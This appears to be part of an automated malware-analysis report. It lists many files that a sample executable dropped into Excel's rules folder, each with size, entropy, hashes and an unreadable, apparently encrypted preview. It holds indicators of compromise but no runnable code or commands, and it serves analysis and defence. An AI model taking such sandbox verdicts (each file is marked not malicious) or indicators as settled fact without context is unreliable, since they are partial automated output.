Preview:	<?xmlo.48..O..=..S4g.....0..;b....W..k.-L..yC....q.7.LO......g.u.....9b.....C.(..zM..do{..o.....,..8..........20AM.)w.....5.-.0.c..Q..+E.>.>F.j.....s....G..8..0jA.f#...{..)...Y.......R.\|~..m....4..Zv.H(-.{$.q.......i*........,<."......;C.."4X.4.b.W/...s......K..Zq....I..I............YoY...[U q~..>[.N..."....5...N....]...d..).{.G.x{6....wAJ...m.K...I.]..a.j..r...q..(.\pQG....f...%.f..".A.7.,..ww..<...J..Z..\|..p,.K,4..=....l.....F..7oy)........5A....$~...Je=9.M.J'...&o2..p ..R...........z..Qk<Y.C..h...'.d.(s.....L71A.......;.#.J..Fl...d.[Rr...&..1YV....&=.pL..BK.Z....J..e...M..z.dNq..Ct..........\|...r.-.=..c&..T..=$U#.uJ^2...v.=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.737767188806386
Encrypted:	false
SSDEEP:	24:n1orgy00r+rT16yl1L7kiQy+ccnBJvQTov0EAbD:lyB9g1L7kiQynQBJIEv0EaD
MD5:	0BF7519AA98EEC928EA103A4EEE519D7
SHA1:	9EDE53997D6CF33E652BDE688E8000F193C7F2B8
SHA-256:	AC18C1F86FC3431725F2CF08F69026D7E48794172CBDC97081A8D179BC6F501C
SHA-512:	78C4D93077E4D02F61F81ADFE052A243759683B500F3C2F5308AC30736F37FC2A53E72CF12F1A262AEC1E4939F921797D10FB7870EC13587FCE2353BBDD275BC
Malicious:	false
Preview:	<?xmlh.pc.Q...._....Y..~X...6.cT..u..U.q.a.....O.f...<4..'...v(_s....~.J%..:........0aE.......&.b.....;..n.S.4.b...W.......ugs...8e...^B.M.z...x.O.^b...K.T._...D....5.>U]..e.HZ>=2.#R.T...............F..ZB.Y.B...4.L>.6....B.9B.sF7].g...q..CM..../Z.\|.L)^..CZd.K..Mg.1.\|:4..fK..I..(X.nu....3..OiR.2..y..,.g.d.n.FN...J.l%.....u.{../w./.W...C.vSa-......9E.z.X...+...~.6HH..23....T..o.P.K).G!s........V0.&. i~.....Ba.../.._...Z..[4.b.I:..U..[..n.u.&.M.Q.=...].."0.\|\#.......xR^..P..n...=..H.Y...a+"....Q.....M.:.N.]3b.....t$dt...'J.3m.,.~wbz..EL..k.. .Eh.%4n..S...!...c+..6Q.@.+6V..(4.o..I;........SQ.<$.=.f.......G.*8.?._l.;.lX'd\b.j..".=..J6yu...L?..........J.....p\[.a..).C.....~.X..D...z...x.GLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.687004606072207
Encrypted:	false
SSDEEP:	12:l3lAe2F5Jf2fEGO/jU4ctkhF1RpPSkI+K89e/zatSoH14HvS2cii9a:hWF5JaWQ4cmh3DZI18azkSoW/bD
MD5:	5D1BA530505A3FFB3F0DCFE9577B0E81
SHA1:	46B780785821813AEDF63D89721A039BFF19810A
SHA-256:	B558295F0A48F57E02130790CDCA47008D50E9DFEE15D2E38EC4AABA6F8CD458
SHA-512:	82920987A17F1E8C02A7A779421FAE539ECE8555719A10B6DC28E62129A7DDE697BB10B34400F9719752048B4F537B6826BE35C64C988DA515B63AA458368E31
Malicious:	false
Preview:	<?xml..Wf.....;0.F....vD..s.-....jO..Hp.n....D .l.r.I.....X.F7..O.R....%.. y..S.Jh.&..[...u]2..c..v.Q.+...e.2F..oJ&...........@......^.O...{r.%..:%c..K`....{..A.].. ..N.......!......k.h.fzi]..g........r_.1..0..f#.H......?f.F.......D.....$.....xa#...Q..c.U.....J..H+....S.8......&8.r.B.%...Am.[.......o?.2..&....\?.)....s&...@...Z.7)T......o........8.....Q`.U....q.N.K..~.....y...nH...x...{...#.S.!.B3.q.y]..8..dg..H\.z6MAh.w(....6..../Q..c...b..{......-!..BA...5..K.$...B$..a....g..Y`....N......../b.@..Y J%..U..O..3@...{..j-...^M..?.@...vi.'<.c.B.^.+.....&.#.!./.N..u.28.b..&d..V.9.DV=..fIt..[.+......CX....W...<q..'..#3.Cr....^0...NI....gLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.766132017353892
Encrypted:	false
SSDEEP:	24:ids+TlX9+vrJdxNZuWppBVqqAi6eTgBybD:ids+T+XEYpLqlQT1D
MD5:	4ECFF1E9B62BBD6E032C58E6E9ABEE72
SHA1:	A1EEFE6D4CEB42A9E41E84C911CB6113EF87C2B1
SHA-256:	B97B09F86A6D29F2F138F40C2D78A35BA5ED86B1B12A00D107CA38C2E9AC7F69
SHA-512:	9119B374FD36344C9E5FA75B386FB7C91FEDFDA8E5A1E30D52B6123A7C7287ACA141A47EABB79DCCA887B7801028ABC1B227DE785D8339CD351996CF205A7886
Malicious:	false
Preview:	<?xml.$.O.B....t...a..r,{2...=.`..v...,.o1.7......P..Ro.v&...'-...a.G'..~...sl.@...V,.G.)..O.e....T.......!....."...-...s.3..Q..-.C(.v&.U.Z(b.[.T=.p..<q..N1..w._.t.8.......H.I.(F.5.Vt.]..C.<;.u(>L(..9'".:u2}..zP;.....o.rb.]Y.E.\|......=a...E..gu......\......%G.x.6m..?J\|-....'.....(........L.E.........%L...I.4#L6......W..k..y......T.)D.4L4?....w.DB.^.>9..ch..+.0p)...H..Y...!....1.^ip.n.Z..J.S3d.......<...{..$.....o...I>.."...a..0.L.m*?4....K...f.ijS.]).....9..1Ep3.jH`......yA...g....a.P..F...IaK%..3....y..H?$.._.j..&..o..c...S..I....Y.5..3a...x.EG.....a4..5.i.W........6..J....h.../.P(.....X...W...{Y.......J..^.CV.R!HB...r...Y.g.....G+...E.....kM..q`..-.aU..Jl......WY..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.700063461373483
Encrypted:	false
SSDEEP:	12:7B5RM7L0TWbOMWKHHzO3RM2Dq5rqcgBknaKxLgyNifsQc89hGWpwZtKVj1TDLS2X:7BPMMX+R2DNcgZKx0LfyC4bKVj1TDrbD
MD5:	97FE15B94DC0AD24B6CA320775BFE795
SHA1:	A45922BEE00BF8E7E6270832A7CF61AC25200E00
SHA-256:	0E8BE33D4001403F2EDD705645DB54893E209DBFF9830647C6ECB5D816F27E80
SHA-512:	D3C42B1760130272D6CD302679C249645E641B6E6971854C61820A13FABF4F4BE70A6A130FD0CFB581FE7A8735C3CEE51CBB065D27F2DCAC3885CF7B705D4B92
Malicious:	false
Preview:	<?xmlw...:...t.g..?#...T!0.......v..1..{8....z...h^M...J.....w..ui.w.........;..cu..li........r.....L4.W..8.e.&..iDV\|.....!.&<!.G...],A.s..YX.OV.......#.....AJ...b..x...5...3.Og.bV..N.....%i......h.1G.&yX...$"...K ...2........{0..s.i#.F\a.pu_.,..6.....p....b..9~..33q.k.......Sj.U.b......2..c...O.5....JB.z.... ".#.0......4.&.J.......=m.YL....W.g.J.......[..zu..E,d...^.b........7.....Nq.4../..h..X...KV4NAJ...=.....6...q9.=BD.#...U...}C6L......1.......].~T.....`..l.S+.-...v..I)..W...Fc.....j.%...4J..9z..U.....\|.`w3o..d.{2.`..o.~..X.v..J.D.{..B;CEj...[.+!.8..'.y3FT.J.......).....z.:hJ.t.oH...R..@A.5....?.[h..C!.7w...#b.uF.U=4.8..?.i_...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.711878570194313
Encrypted:	false
SSDEEP:	24:+RyA2M5C5F4Rj5rlTgW6IMpDtRi1ukw1bCTw55vlJGG8ybD:+RyaRLrdRC5s8PZvlwGHD
MD5:	63F485D39F9616FF845BB697E2BFFB18
SHA1:	4427A4C43FB4BAFC0BAAAB63E8FC184D80321946
SHA-256:	4FD3DE3AB314ED3DEAFF197D2C4AD545B4B0059C328841799DB19BB0C6C0D5D0
SHA-512:	A3AA1C1E979C4DB5D20DB8E3D8CA288BCDAA395FB32FE85FE673455DA33749FDD92B3C53D50C3D70B62AC604991012756F472E9CCCF29B0A2D689726E63FC7DD
Malicious:	false
Preview:	<?xml.c...^.VC./f.`=...5....xmL.._........'.p..S.I..@QHF.^........D.7q.G...........N...N...2\...D..:.m`X.....aA.`S...^.........[).R.0.-?.3..@...f.5...v.4[.'>Ow0......<......ua..$........d...7.=ea...v.69{....%.'.`.^SM.....w.>...6p.R"l..?:\|.iX/=;z2..X,..bJ.j..4......@F....-..f*>/.&.v.v.W.O..K...~.m"\|^.p....H.yW.P..%../D.K\|...a...Y.......B....l+6.f.4W...6...v..(.W.]l.y5...8..z.:....7.B...Hb...D#........XT7....?....s..g;."y.._o..B...r......"..\.F.9X..c...9C.{..".>...u?..T.(...dWP..cl..W!.....'8...,.m......&+.F.C[o.#..oz...]..Z....@u.u.B .. .?.]<...Hd..{5.YpC.zV..)o.rv.p]9..0.........!,."..7.W3Xu9.?..8..D....0t.B......f...L..,5q..3..+.u..M.;..S..rr....B.32.JU.s.$.X.....wx...R......{!LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.736406261907726
Encrypted:	false
SSDEEP:	12:QOWTEzH570+OF8tLjMO3QuuOANvu8bVHKtTEHubyDh1NyVXrJPUBVcA9iMaDbrCn:QOWcH570+qkLAOrzivfhKtYubgh1NyVI
MD5:	3877A411885445EA9FBCB9A2B492B7B3
SHA1:	43210F56702E6D2FF5D6591AD57CEF3B6B2BEFFB
SHA-256:	1FB850BC2F95E8E6764E092F9C1CD31D33D6BF79C0287D324CFFDA935DF3173B
SHA-512:	7CE4886733E6A43F6542FDED36DF42F21E4540736543402CFD88345973A26D8A1E81BDFE805989DD650E3D12731D305B6BD124D02D5021493DD54F8141F24EFC
Malicious:	false
Preview:	<?xmlh)h............8.."...L_d;....t/.ARP.W.fb.P.7..vH.P.;.w.I>.@M.F...a+......:....(J..+.......`....'.#...".Iy.e.....S..wl...e(..9..{. _4..1...Qn...........:.9.e+..+,>.!...fb.N....S}...E.?j.k.gez...u.......+.\|w...:.kNs.x...?.j..`.i..\|.i.E....y.(...M..~.t...e..kb.2I?...b.....R....wj....>_#..........;.<./.sZ]..k.`..$.....2_.....&...+..Yv ....1...x-.K..M../..m..R0..0.eH.4.....\>2.M.&...,?..IMz/...o...#.)....z..o.1....A..#..)&.....+'1.0..y.Z....B'V.73f...u.lnp.:<.3.....v..Z..dhH.T.....S.t.u}..$...r.^X..E5...].C.....rh\|..Nk.}...."$..Q.U..YQ..4..X.].\..S.(...FQP......e.mJ.....i...6....u...M...1[].....+.....)."I..SmGJ,.G...'..K8....Weho.=SV=..tOB.....]..N..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.735316467236509
Encrypted:	false
SSDEEP:	12:7NnETIJlN/CELZqzds4kdP90GGzMy9mY67Onl73LLD6qY1lZU98nV4SNaAf+9/31:7NsUCElqGfH0GGQ7k6t1lqS9TfQ3F/bD
MD5:	E9EC843F9A31B490F8045D2F4D23B2B4
SHA1:	447A625E1FCB905E3424B7E3771E869D6F9EAD1C
SHA-256:	8EA0963E9166068DE517788F54AB2AA08F1C58C246C219ADF5DCBCDE45750DE8
SHA-512:	DBB6A99B49A867DB478278F913DB2B4AF79FFB432CBDDBFA3B79D38B3D196ED2EBDE013684FDCF826CAE18F661145AF96282FAD191F7ADD5568A742CAE414BDD
Malicious:	false
Preview:	<?xml....E.T...#......W.....qruE].w-.C9....R\|.......l...........h.6.K._...X>y...=.m....>#+..>..}.T....;.....\|.#....u..i..$6p....J...B...";...(....]....l"U..$..0..l-.hj..N... ..NSR....=..S.fF.a..{....p.......WNpv.\;.....dP..u...zk.?]E...F...).wZ&...MXT+H...K.j._..{R.S.....l....Q..U..k>.O...".<r.&.Pg\q.{.S.j..v'9Q......{...#.._._.._.O..r9..-.aY.AU.)....q@.+(oI...7i..?6.(h..8V`...H...GU..6.gRv.//...n.Qh.....n...]..)....ASg.M........`6Ih%&..q.;.)._....[@./..4..?..;.{.J.u....i."..B.N_j.K.i..B.(Oi4.M^..Cfv.....zC..bX`.\|.@..P.&....m.."..B.i...tg....Q...%...w. .]..ZP..e....i.......gh.'.y..../....Y..2...6..d4.B.o.z-..`..*...t...+i........W...5OA.6 XG..l.&..7y^S.. BH....a[..![{........SLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.72327215847854
Encrypted:	false
SSDEEP:	12:ErDigr3apMfjjckUy8xqM/p8oYu37oTHSm6HdxQLrbIUhIA3OS1tSATCQO7Fi7rn:ErDigLRfjjckU1qMOTOUbKqbIUhhOKt3
MD5:	AC0376EF58FBF024F980207A3F1C8CCC
SHA1:	CA832963187EA1886DA6F3363253F91B4EACCFB1
SHA-256:	A460DC05926EB4568FAAB2EA2182F896E4503273C954D1B9F1528D2FBB8B4DCA
SHA-512:	2534C08B0FBCBEB9E52FB8E1A15A627CDCDBD09A3CEC6A536BCB50BA7060C59CCCBDEDE99073D94B7F9D29527DE82493E0EB0AF3B26921C3A45C4132CC4A26A8
Malicious:	false
Preview:	<?xml...R..Q.>.Mj.-1...{.-\|.S..?..A...F.p..P....{......h....E.....=v.%......$..a.../..)...^)..~.z...~:..l.6......}.m!.0...2.\...S..v.v.5.1.cLd.d....,.!.jm.qi...S..N.=..v.....{.JJ...D.`..{....s&..f...&W.....4z^.Qu(....N.'...7.i......L.pyi...v4+~.h.b.\|.56g.........9..Z...N>..8..uc+..r.M.N.........o......#k.....-...P.....].}.......AV.../..8....f....G....FH..q6...!.Y..........$...;.N...=....-.A..<u..D..h...P..?....P.T.f.......k..n.-.H...c+.......J.^p9.R.......f.E.....M..m.I..(....p<$a.1l.v&....P.S\Cs\|..........f7...0.M....@-.x..!.*.....K.c.-..`.v.x[z...#..G.M......Pm.z...8=..L;....[._v.4.. ..%>..2..2J..~."....4.6.....+..T......=.>LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7123331009105405
Encrypted:	false
SSDEEP:	24:ovbgfYyz5S9T/2fip0pXgZ6MOvr46DKV8/2bD:ovbqYyz42G2ra9D
MD5:	3D45CED5F0CE2CB93C4B1C54BF4E8901
SHA1:	5BFCA35A15ED304C14085A5EBBAFE17E2879E3E8
SHA-256:	BB8AA2FC1BA84146FCD286EB649D3FDBF8C06E72E47A543AAFB7939C56B4BEB1
SHA-512:	2EC106C85A9BD8AE087842BF124485C7FB6269C77266402769332E13389913F855E4859AF41ACADE9245F03F6CC85986B554CDA68B458F41F40F8AFBC9970C92
Malicious:	false
Preview:	<?xmli.:D..#..v.r:E.....5x.~......I..x..F..&...6. T.E../.....C..B9..`Zq%....b..........JsZ.'.3z.v.".(.O...m...P..W.I7.........q...o..]".s..7A-d....i?.X...h1e3.Kr.t.C.s.xK+!.n.5,0...%2...Q....46.S.KBTG.\Z..+.3..Z....x/.............L.g.1b........:.$.w.5.#....:.h.h.:v:..t..4.bsD;..3..@o..L..r.W.b.GG.........k...n..../..@fL4.Z....h.f...U.G.s'..\|.L......U;-x...Fw.MD.t..i}....!..k}_.\|Y....^...UNH,j_dO..m^...G.8....2...-....l(.....e.d...b..\@.&..#j.}..8}O{4.....$..tv......S{(.&C.+!d......K.z.7...je.ywI..q2.0...."HX......~../..B1ID.z,7....\|.8...O.i..%Ex..c/*.L.b_.D......"...A..&.7.Q.m.).R.k..b..)......f.p........Q......3.'........2...C.Q]..M.c}.C.T..&...x....Z....`......~xB.>...S2..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.65892499456552
Encrypted:	false
SSDEEP:	12:8X+55h+n8/aQ6eJNhtkKEEq7ZSopzwaI/Gz4vyppLKR3+v3/63muIf2A66muaASw:8+R5aQ6eDLkKEEoZSo9waIOOyplKROvP
MD5:	F1F1D822F8BFEF880083F7ABF71A7348
SHA1:	A617BF719106A5B0A585F5229DF33D4F1A34CF92
SHA-256:	E5BCB2DA4D55C40C5F1A046288A95E750BAA76A5EE589D8E4BC174A38D86DF68
SHA-512:	6E2939049286068CC81C272BED9D25D79F532BF3ECD459B6DA9DBE15F6D313534B32C61FC78D426B6CE64D80BF9405124116FD261212C209F0C779EB3B3C2FBE
Malicious:	false
Preview:	<?xml...W`.m.....[Y_..8...$8\|.....c...3...1r.:B(...T.U...'E9Qv.k.f".......hh.s.4.E..Q.s(..lX.j.$/M..p.).@..+.<....Le...z&L^.).....h..U..I$..O.......<?.gb..i.............10.&.h...[(q.R.0!.&.^.\.....BS"9..u...[.W........0W...7..kd.B....a.4.T. ...z7.F....Q..$.p.W.........f.T.2#....\a.1Qg..:o......8\|.=..zf..o..6..z......].C.".u?.T.W`.Tf..........p"9f.{c.8$.....=.........R....b...{....Pv2....^.w.;yx...J.\|S......B-q.r........@..z.<.@4dV.}C...).4\|.+..F.\|..Rp..[<[%..E...z&..C.6bio.r].j..(...M...8-.....%.3...Bwe..y`.6L.Q.j.:.V.[.SQ*.X.....;.@.....^.O.R.J..5cZkL.e..gc....3i......B..MY.A._....7..r7..B_.c..V.7..wDq'a1^u]It.....w~.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.70458746255099
Encrypted:	false
SSDEEP:	12:pkiW9SnP6qK5Wh629EfXRR2synWaoZRpuH5vgrZ7bDy+W0E4tS2cii9a:1wSnPz1rGfhRtynNoZR5Z7bDHWf4lbD
MD5:	1E150D6FD0569DD7D88DA2EF82E2C61B
SHA1:	003D5D99692F6461983845D16685372DFBD12CD3
SHA-256:	DC91E78DD9D64D32E2C18FFAB41AA90B184DF475BCE42AEC19959967E7008C2C
SHA-512:	D25EB0711BA4A00450081547C1D54AF9DA8987C75F0D3150D9A2ED03C2EF66C569EF6E8BA53E825B29706091900867470F74ACA84569ED9F153280539F37A1CC
Malicious:	false
Preview:	<?xml...-..\|.C..v........pt7d..[~....E.d.....qH.{...p..p..........y#r.60. >+.P.-......Z..3W}YM..,.......N.V...d....;.Y.[...."v.n.#.a.$....C9..1E...8...,....R.T...ig.W..MVS+V.O...` .-q..^.A;7j.K.P.i.(.N...m\|p.f.....I.@T^..........F.2r.}.xS..........s....\..)....D...iZ.k.H......:.(.^.@..../."K..W....K...~...Mc.\|s.x.`........lz(h.........:.....I........0...^..W.._.M........U'+..o...H("p.\..*.[n....]eb.....]...>..X...56u....X..Mq.>......a.ne7...d.....!Z.$..J...k.@?y...`.}.^...I....qP(...-./.O....~...t.v..0.......o:x..vr..mC'.(..7B...6Y.. .Y,.MW....6....[..M-%......BP...ar...h..Z.q.?...A.[.....(....p._...Zh..6.Egx.......N....... .a(.d../?Q.@.~i'.:&..Bg...I.?.q:..9^.$Bg..m...y,!./.]..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.567475943275228
Encrypted:	false
SSDEEP:	12:J6znmfc2AGauA1KMDP+ZarrasvPNU1EvAA+7DP5S2cii9a:J6jwc2jauAek/bOGA57DPRbD
MD5:	1D734F0BC541EF71A55D0AEF9E104348
SHA1:	73645E9CBC2E44473F0D1447A3C61E3A0C5A1DB1
SHA-256:	5B28098FB6792A5BBD2D3BB7717280F0B8DD4D52F60E0A6DA09D49ADF9EB1B93
SHA-512:	F90E8911EF2C4ADD6F1194A2D028661B7599AE845F3067AA5B2E13D978D1800B1CDEBE1F213EC6F0525E07AAA97F1AC518EA158443261A74C378146CCA9F115F
Malicious:	false
Preview:	<?xml".e.....N.2..si.=...k.@u\|.4.hx?.C..#v5..L1p...+..........(=X.._...'y.bK.......$.s...6_."..n.@,.`..dR;y.....T..g.../S.2z...'](&..:.-c.j[.L..&.8=.`d.F..G.1.&.x8H^...\|..'M6."x..(..l]..K....."U!fw..L\U....f..8F\|...[O.f...w.&A.$k...P...`G....../..B...-.....,..pN..0....IH.c....yf.e.{.4.yK...ZM.q..O..8..1.So..sNC.3x.We..P..$..ee.c*...r.mmY:.f....Nn.@j..........^...Y......s[l.).y..NAc...#..%..zpLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.911257648884464
Encrypted:	false
SSDEEP:	48:/eB7KXrOQCkUAmf9Ok7C3/4KbFdMH7mRW0gx4998D:/QK7VCji4idMHyTS49K
MD5:	8EAA74CD2500966F3B67EAEA62F0156D
SHA1:	BA922F0BBD25A33445D13FD6CFC4E40D863FCF01
SHA-256:	3DFDD03A57A10F17E562C5589F9D55EF695FF989261E5A262510EBEB93CAA908
SHA-512:	2DB391119364D0E04119A0A2FDD3146222D1421178E79FD2474B3BA0CE7E3F2D4E2C6A3B8B16BD9F1339DFE83E24AA7CE8347D42B709101B420BE638A594C702
Malicious:	false
Preview:	<?xml0qF..b.rf-W...(H.....K.q.X..n....]..&V'.w.."...b......!C.h..l.2.x........`...........U..I[.....)..r.@VG...8A..qzt(......kiR.L....^...S.w.}&......g.1.c..!.x......L..........p........lU<..=.....A1&.;..8w..]...k.cb.so....&..Xl...C.....Q&f_.r...gx....bE.8.b.......\...[.....F./..];.K(.,.a.T..7..K.:.............."6..`O...}...$l.t...6h..k.......'`:x...8.0.[..&v}F:....J.W.!...v0}.>/.}.E..6~}....r..........P....\......p.0`....O..~...].!..9.K.........=....A.Q.d.c.Je.c.8_....b.N@.#.....}...WI....cn.S.V(mA.K.h....^..,.a{.'.L\|..U..x#,D...;.qx+..j."........L.'../...%S..S..].N.......z.n.MKc.:...g.)h.<..:.?..7..x0..0.....Lc.....<..?kmY.C..p.=.p".......D....]...;$.<.y....l>).u..E.4[F..p.JSi..TZ.K....@...6E..........$5...1.G.x.M.jr[.l......6.D.8....P..FJ....Z.I.p.#.s.s..e*{D,+I].^.u;..^....Pr...(!.0.R..N./..../.......A2`........R.N..v.-M..e).}A...d#'....w5<~u...V.r.....k{.....=[=}v.BA.U...E=...,..u....W..$B.=r<....C.MA.Sr].........:B....?&.v=9...4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.834778931318735
Encrypted:	false
SSDEEP:	24:h5kvjsykDhKFVcIHyxdP4V2Wu3pnTuViLQvfuUnaRXiPobD:h5kvAVD8fc2AdA2oViLQ3uUnaRXiqD
MD5:	6DC1D805758073FF77E9E3FBACC4FAD1
SHA1:	F8177642E8DFD145607C2F98A1321C3B5B0BBF9E
SHA-256:	C1A424F3C75A8D129DAA7612048922417DF43BAF2BC17298DDA41180266802D9
SHA-512:	2F7ADBCBC894CFFABFF3872795019C193344ADF1DFD410FA3ECF27F719DFCE07028A315ED17D3CB6DA94CD986D9F044223D02316402842052B731A7D9B1A7ED5
Malicious:	false
Preview:	<?xmlo......;..+9........-<.ka.q............f.x.....G..."...j .<ThV.D...j....x>K.a+..(&....D.O........R.G..$.........\|....M.&.TR..0....n..a..@..f.5?...:.S"..9..wK1.f.B}St-.V0.U..).....u......V.W.;..+H.3.oZ...zX.Q...GE.w.9......<...)..D...{:nCH.Z..".F7Q..p..".....iB.]..P.es.M...VQ....%.hR...r.W....g.....4.7.........?.5..hZ.#.=.R. .r...P.$..9[..d..<.l.......wE......Y..c~...9...M.m.,...%.t'.r......NoJ..e......I.......+....AO.n;.G..T9S..{..;.S..t...)..(2<.....z..x...2.....T.....e....o...C.V.D.G;.B.D......0.l$~\|?......n.yvO.M..S.4...}XS....l..9.n.2..W.].E.>2.!..$.._L8.\|..;]s...B~e.7Q."K.{...7\Qc#..O*f.!...+.<.{...C\..,I..0.k....U@A....E..1y...Onf.^.....eV..&....O.p....-o......ik.x....V.....K.....4..E]..D8 ......m......p..<L.0?s..3........J..f.FQ...B..Q>..iW.!.I....\|.....AX...x..$....u.5.........+Jj.T.m.'..m....O. z.C4.1f.Gm....ZF.}=!..(xpL...).e.f;.C()V.....u@L.oao...9.~u!.v....w.\........Tb..\GN....L....8...W.."a`.w1D4.$.".....H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.762526253858152
Encrypted:	false
SSDEEP:	24:krvGl82huHmql0LqPmzNq/Nfqgmh29M3bD:krulZoHmqqLqdNfqB2CD
MD5:	231895361865697542F3037E1B7CE3DD
SHA1:	F21654BCA6D22D776DC9898D36F2B76D734ABA40
SHA-256:	D4CEC885D7F91EE956EDA9ED5B130E0430F3A8DF6C7EC0157B0A44240DB4430E
SHA-512:	D75BB2B4D2543818230D23F996643B18660CC9CBC932BD056B93B842A322303BBBE19247BF37CA1D2B59CB3E9E51A9A5D837CB74D686A8350E6B0C885229EE7B
Malicious:	false
Preview:	<?xml......$w..8q...C....i.H..v...K&...........-...\|.....k.n6p.....n.5......{...T...*.....n.s...pE.fX.<2...k..V...(tS.r.E=....T.p..z17.m...>.q...6.....hF.....\lv..X...%..]5.....y.@...G.......#'1..J.H......IP+\|....M...-A.ox..7H.U.._.3D.._..L.._{2.`k.u............6..(...C........,[.#....sG...fH.&.lZ._..XQ.7..f.....@o..>)[....m.oN..~..D-.d.!}.'.u;...W.A._..w..h.9..N...&....t........v..>`2.Ac./J&w.]...Q.....EN.P.r.>g.~.P..._!....%.=.t..+..Z.........w....?^..nz..n.O..N..d-Qa.O\.!.`%.# .........xk;"..#...m..J...W.....u......O..F.VA.@.-....>^.-WE%3n.QO.!22..D.I.....x~..b...L..>...:..(...o.{'~.4Z.b.:.".g.7..m-..,n..Z...p._...c7.I.;..%....F..SM.:4[]c0..7u.p<..F/.2....#..a.]...F'....`./..Z.G.n.,.....Pa...0...j\E.:uLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.641494678855028
